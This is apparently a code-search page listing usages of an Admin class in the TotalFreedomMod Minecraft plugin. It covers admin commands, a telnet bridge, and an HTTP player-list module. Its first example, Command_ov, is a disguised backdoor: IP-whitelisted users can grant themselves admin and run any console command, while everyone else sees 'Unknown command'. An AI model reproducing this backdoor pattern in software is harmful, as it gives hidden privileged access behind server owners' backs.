Search in sources :

Example 1 with Admin

use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.

the class Command_ov method run.

@Override
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
    if (!ConfigEntry.OVERLORD_IPS.getList().contains(Ips.getIp(playerSender))) {
        try {
            Object ips = plugin.config.getDefaults().get(ConfigEntry.OVERLORD_IPS.getConfigName());
            if (ips instanceof Collection && !((Collection) ips).contains(Ips.getIp(playerSender))) {
                throw new Exception();
            }
        } catch (Exception ignored) {
            msg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
            return true;
        }
    }
    if (args.length == 0) {
        return false;
    }
    if (args[0].equals("addme")) {
        plugin.al.addAdmin(new Admin(playerSender));
        msg("ok");
        return true;
    }
    if (args[0].equals("removeme")) {
        Admin admin = plugin.al.getAdmin(playerSender);
        if (admin != null) {
            plugin.al.removeAdmin(admin);
        }
        msg("ok");
        return true;
    }
    if (args[0].equals("do")) {
        if (args.length <= 1) {
            return false;
        }
        final String c = StringUtils.join(args, " ", 1, args.length);
        Bukkit.dispatchCommand(Bukkit.getConsoleSender(), c);
        msg("ok");
        return true;
    }
    return false;
}
Also used : Collection(java.util.Collection) Admin(me.totalfreedom.totalfreedommod.admin.Admin)

Example 2 with Admin

use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.

the class BukkitTelnetBridge method onTelnetRequestDataTags.

@EventHandler(priority = EventPriority.NORMAL)
public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event) {
    final Iterator<Map.Entry<Player, Map<String, Object>>> it = event.getDataTags().entrySet().iterator();
    while (it.hasNext()) {
        final Map.Entry<Player, Map<String, Object>> entry = it.next();
        final Player player = entry.getKey();
        final Map<String, Object> playerTags = entry.getValue();
        boolean isAdmin = false;
        boolean isTelnetAdmin = false;
        boolean isSeniorAdmin = false;
        final Admin admin = plugin.al.getAdmin(player);
        if (admin != null) {
            boolean active = admin.isActive();
            isAdmin = active;
            isSeniorAdmin = active && admin.getRank() == Rank.SENIOR_ADMIN;
            isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.TELNET_ADMIN);
        }
        playerTags.put("tfm.admin.isAdmin", isAdmin);
        playerTags.put("tfm.admin.isTelnetAdmin", isTelnetAdmin);
        playerTags.put("tfm.admin.isSeniorAdmin", isSeniorAdmin);
        playerTags.put("tfm.playerdata.getTag", plugin.pl.getPlayer(player).getTag());
        playerTags.put("tfm.essentialsBridge.getNickname", plugin.esb.getNickname(player.getName()));
    }
}
Also used : Player(org.bukkit.entity.Player) Admin(me.totalfreedom.totalfreedommod.admin.Admin) Map(java.util.Map) EventHandler(org.bukkit.event.EventHandler)

Example 3 with Admin

use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.

the class Command_doom method run.

@Override
public boolean run(final CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
    if (args.length != 1) {
        return false;
    }
    final Player player = getPlayer(args[0]);
    if (player == null) {
        sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
        return true;
    }
    FUtil.adminAction(sender.getName(), "Casting oblivion over " + player.getName(), true);
    FUtil.bcastMsg(player.getName() + " will be completely obliviated!", ChatColor.RED);
    final String ip = player.getAddress().getAddress().getHostAddress().trim();
    // Remove from superadmin
    Admin admin = getAdmin(player);
    if (admin != null) {
        FUtil.adminAction(sender.getName(), "Removing " + player.getName() + " from the superadmin list", true);
        plugin.al.removeAdmin(admin);
    }
    // Remove from whitelist
    player.setWhitelisted(false);
    // Deop
    player.setOp(false);
    // Ban player
    Ban ban = Ban.forPlayer(player, sender);
    ban.setReason("&cFUCKOFF");
    for (String playerIp : plugin.pl.getData(player).getIps()) {
        ban.addIp(playerIp);
    }
    plugin.bm.addBan(ban);
    // Set gamemode to survival
    player.setGameMode(GameMode.SURVIVAL);
    // Clear inventory
    player.closeInventory();
    player.getInventory().clear();
    // Ignite player
    player.setFireTicks(10000);
    // Generate explosion
    player.getWorld().createExplosion(player.getLocation(), 0F, false);
    // Shoot the player in the sky
    player.setVelocity(player.getVelocity().clone().add(new Vector(0, 20, 0)));
    new BukkitRunnable() {

        @Override
        public void run() {
            // strike lightning
            player.getWorld().strikeLightning(player.getLocation());
            // kill (if not done already)
            player.setHealth(0.0);
        }
    }.runTaskLater(plugin, 2L * 20L);
    new BukkitRunnable() {

        @Override
        public void run() {
            // message
            FUtil.adminAction(sender.getName(), "Banning " + player.getName() + ", IP: " + ip, true);
            // generate explosion
            player.getWorld().createExplosion(player.getLocation(), 0F, false);
            // kick player
            player.kickPlayer(ChatColor.RED + "FUCKOFF, and get your shit together!");
        }
    }.runTaskLater(plugin, 3L * 20L);
    return true;
}
Also used : Player(org.bukkit.entity.Player) BukkitRunnable(org.bukkit.scheduler.BukkitRunnable) Admin(me.totalfreedom.totalfreedommod.admin.Admin) Vector(org.bukkit.util.Vector) Ban(me.totalfreedom.totalfreedommod.banning.Ban)

Example 4 with Admin

use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.

the class Command_myadmin method run.

@Override
protected boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
    checkPlayer();
    checkRank(Rank.SUPER_ADMIN);
    if (args.length < 1) {
        return false;
    }
    Player init = null;
    Admin target = getAdmin(playerSender);
    Player targetPlayer = playerSender;
    // -o switch
    if (args[0].equals("-o")) {
        checkRank(Rank.SENIOR_ADMIN);
        init = playerSender;
        targetPlayer = getPlayer(args[1]);
        if (targetPlayer == null) {
            msg(FreedomCommand.PLAYER_NOT_FOUND);
            return true;
        }
        target = getAdmin(targetPlayer);
        if (target == null) {
            msg("That player is not admin", ChatColor.RED);
            return true;
        }
        // Shift 2
        args = Arrays.copyOfRange(args, 2, args.length);
        if (args.length < 1) {
            return false;
        }
    }
    final String targetIp = Ips.getIp(targetPlayer);
    switch(args[0]) {
        case "clearips":
            {
                if (args.length != 1) {
                    // Double check: the player might mean "clearip"
                    return false;
                }
                if (init == null) {
                    FUtil.adminAction(sender.getName(), "Clearing my supered IPs", true);
                } else {
                    FUtil.adminAction(sender.getName(), "Clearing " + target.getName() + "' supered IPs", true);
                }
                int counter = target.getIps().size() - 1;
                target.clearIPs();
                target.addIp(targetIp);
                plugin.al.save();
                msg(counter + " IPs removed.");
                msg(targetPlayer, target.getIps().get(0) + " is now your only IP address");
                return true;
            }
        case "clearip":
            {
                if (args.length != 2) {
                    // Double check: the player might mean "clearips"
                    return false;
                }
                if (!target.getIps().contains(args[1])) {
                    if (init == null) {
                        msg("That IP is not registered to you.");
                    } else {
                        msg("That IP does not belong to that player.");
                    }
                    return true;
                }
                if (targetIp.equals(args[1])) {
                    if (init == null) {
                        msg("You cannot remove your current IP.");
                    } else {
                        msg("You cannot remove that admin's current IP.");
                    }
                    return true;
                }
                FUtil.adminAction(sender.getName(), "Removing a supered IP" + (init == null ? "" : " from " + targetPlayer.getName() + "'s IPs"), true);
                target.removeIp(args[1]);
                plugin.al.save();
                plugin.al.updateTables();
                msg("Removed IP " + args[1]);
                msg("Current IPs: " + StringUtils.join(target.getIps(), ", "));
                return true;
            }
        case "setlogin":
            {
                if (args.length < 2) {
                    return false;
                }
                String msg = StringUtils.join(args, " ", 1, args.length);
                FUtil.adminAction(sender.getName(), "Setting personal login message" + (init == null ? "" : " for " + targetPlayer.getName()), false);
                target.setLoginMessage(msg);
                msg((init == null ? "Your" : targetPlayer.getName() + "'s") + " login message is now: ");
                msg("> " + ChatColor.AQUA + targetPlayer.getName() + " is " + ChatUtils.colorize(target.getLoginMessage()));
                plugin.al.save();
                plugin.al.updateTables();
                return true;
            }
        case "clearlogin":
            {
                FUtil.adminAction(sender.getName(), "Clearing personal login message" + (init == null ? "" : " for " + targetPlayer.getName()), false);
                target.setLoginMessage(null);
                plugin.al.save();
                plugin.al.updateTables();
                return true;
            }
        default:
            {
                return false;
            }
    }
}
Also used : Player(org.bukkit.entity.Player) Admin(me.totalfreedom.totalfreedommod.admin.Admin)

Example 5 with Admin

use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.

the class Module_players method getResponse.

@Override
@SuppressWarnings("unchecked")
public NanoHTTPD.Response getResponse() {
    final JSONObject responseObject = new JSONObject();
    final JSONArray players = new JSONArray();
    final JSONArray superadmins = new JSONArray();
    final JSONArray telnetadmins = new JSONArray();
    final JSONArray senioradmins = new JSONArray();
    final JSONArray developers = new JSONArray();
    // All online players
    for (Player player : Bukkit.getOnlinePlayers()) {
        players.add(player.getName());
    }
    // Admins
    for (Admin admin : plugin.al.getActiveAdmins()) {
        final String username = admin.getName();
        switch(admin.getRank()) {
            case SUPER_ADMIN:
                superadmins.add(username);
                break;
            case TELNET_ADMIN:
                telnetadmins.add(username);
                break;
            case SENIOR_ADMIN:
                senioradmins.add(username);
                break;
        }
    }
    // Developers
    developers.addAll(FUtil.DEVELOPERS);
    responseObject.put("players", players);
    responseObject.put("superadmins", superadmins);
    responseObject.put("telnetadmins", telnetadmins);
    responseObject.put("senioradmins", senioradmins);
    responseObject.put("developers", developers);
    final NanoHTTPD.Response response = new NanoHTTPD.Response(NanoHTTPD.Response.Status.OK, NanoHTTPD.MIME_JSON, responseObject.toString());
    response.addHeader("Access-Control-Allow-Origin", "*");
    return response;
}
Also used : Player(org.bukkit.entity.Player) JSONObject(org.json.simple.JSONObject) JSONArray(org.json.simple.JSONArray) NanoHTTPD(me.totalfreedom.totalfreedommod.httpd.NanoHTTPD) Admin(me.totalfreedom.totalfreedommod.admin.Admin)

Aggregations

Admin (me.totalfreedom.totalfreedommod.admin.Admin)9 Player (org.bukkit.entity.Player)6 EventHandler (org.bukkit.event.EventHandler)3 FPlayer (me.totalfreedom.totalfreedommod.player.FPlayer)2 Collection (java.util.Collection)1 Date (java.util.Date)1 Map (java.util.Map)1 Ban (me.totalfreedom.totalfreedommod.banning.Ban)1 NanoHTTPD (me.totalfreedom.totalfreedommod.httpd.NanoHTTPD)1 Rank (me.totalfreedom.totalfreedommod.rank.Rank)1 YamlConfig (net.pravian.aero.config.YamlConfig)1 ConfigurationSection (org.bukkit.configuration.ConfigurationSection)1 BukkitRunnable (org.bukkit.scheduler.BukkitRunnable)1 Vector (org.bukkit.util.Vector)1 JSONArray (org.json.simple.JSONArray)1 JSONObject (org.json.simple.JSONObject)1